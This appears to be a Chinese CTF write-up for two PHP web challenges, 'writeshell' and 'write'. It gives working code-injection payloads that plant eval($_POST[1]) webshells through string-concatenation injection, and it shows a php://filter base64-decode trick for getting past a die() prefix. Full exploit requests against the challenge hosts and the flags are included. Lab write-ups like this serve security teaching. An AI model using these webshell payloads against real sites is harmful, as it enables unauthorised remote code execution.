2023年磐石行动第十九周

1、writeshell

  • 题目说明
简简单单的代码审计,简简单单的writeshell

题目打开发现如下源码:

<?php
   highlight_file(__FILE__);

   $res=["hacker"=>$_GET['cmd']];
   $code = '<?php return [';
   foreach ($res as $key => $value)
   {
      $code .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
   }
   $code .= ']; ';
   file_put_contents("shell.php",$code);
?> 

首先通过源码分析发现php文件的主要功能就是先写入<?php return [,然后通过''=>''这种键值对方式写入,最后再拼接];

那么既然是字符串拼接,那么就是通过value这部分可控的字符串进行闭合并添加需要执行的语句,

  • payload1:
payload = 123'];phpinfo();//
构造code变量如下:
<?php return ['hacker'=>'123'];phpinfo();//']?>

执行发现不显示phpinfo内容,看来这个和之前绕过die函数是一样的,return导致php文件后面的语句得不到执行,那么就必须考虑同时执行,然后想到了if判断时候的逻辑运算

<?php 
$a=2;
$b=3;
if ($a==2 && $b==3) {
    echo 1; //两个判断都为真的情况,输出数字1
    echo "<br>";
}
if ($a==2 || $b==2) {
    echo 2; //a判断为真,输出数字2
    echo "<br>";
}
if ($a==3 || $b==3) {
    echo 3; //b判断为真,输出数字3
}

但是||存在短路运算情况,即第一个条件为真,后面的条件就不进行计算以提升程序执行效率,经过测试&&可以,||不可以

  • payload2
payload = 123']&&phpinfo();//
但是如果直接这样写,因为&为http请求参数拼接的特殊符号,导致只能传递进行123']
正确姿势需要将& urlencode %26
payload = 123']%26%26phpinfo();//
构造code变量如下:
<?php return ['hacker'=>'123']&&phpinfo();//']?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-47Udhbvi-1692605174767)(一周一练wp/image-20230821151940272.png)]

发现可以执行,然后换真实环境

  • payload3
123']&&eval($_POST[1]);//
123']%26%26eval($_POST[1]);//

exp:
http://80.endpoint-bc97ee38f96e4ac794402216fdf31ebf.m.ins.cloud.dasctf.com:81/?cmd=123%27]%26%26eval($_POST[1]);//

getshell成功:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9DOgLzWN-1692605174768)(一周一练wp/image-20230821152241845.png)]

大神还提供一个payload,利用 ==进行逻辑运算在一条命令中构造webshell

123']==eval($_POST[1]);//
<?php return ['hacker'=>'123']==eval($_POST[1]);//']?>

然后得到flag如下:
在这里插入图片描述

DASCTF{21459737950080111535916345999360} 

2、write

题目描述

网站被黑了,还好做了备份!

题目打开网页发现如下内容:

受到黑客攻击,本网站正在维护中。
网站每日备份,请各位用户放心,数据并未丢失!

通过两次提示备份问题,怀疑在根目录中存在备份文件,一般就是www.zip web.zip app.zip这样压缩包,测试发现www.zip然后下载得到源码,发现大量的php文件,然后通过D盾扫描发现一个shell文件WXJBcYlqe.php

在这里插入图片描述

文件内容如下:

<?php
error_reporting(0);
$file = '<?php die("想屁呢,别搞我!"); ?>';
$file .= $_POST['file'];
file_put_contents($_POST['name'], $file);

这不就是php伪协议绕过死亡die函数,通过base64-decode将die转化乱码,以达到去除die的效果

name=php://filter/convert.base64-decode/resource=1.php
file=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+  base64(<?php eval($_POST[1]);?>)

不过这个地方有一个坑点就是base64-decode相当于将4个字符转为3个字符,那么一句话webshell前面的字符就必须是4的倍数,否则base64-decode就会导致payload不正常,一般直接payload填充一些字符,如

file=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ (填充1个a)
file=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ (填充2个a)

具体填充情况一般在本地进行测试,这个题目中需要填充2个字符,那么payload如下:

http://80.endpoint-ddbc222f17d546b597eb7c30d26f7cbb.m.ins.cloud.dasctf.com:81/WXJBcYlqe.php
post_data:
name=php://filter/convert.base64-decode/resource=1.php&file=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

发现getshell成功

在这里插入图片描述

获取flag如下:

在这里插入图片描述

DASCTF{02824663775136194288800391422979} 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值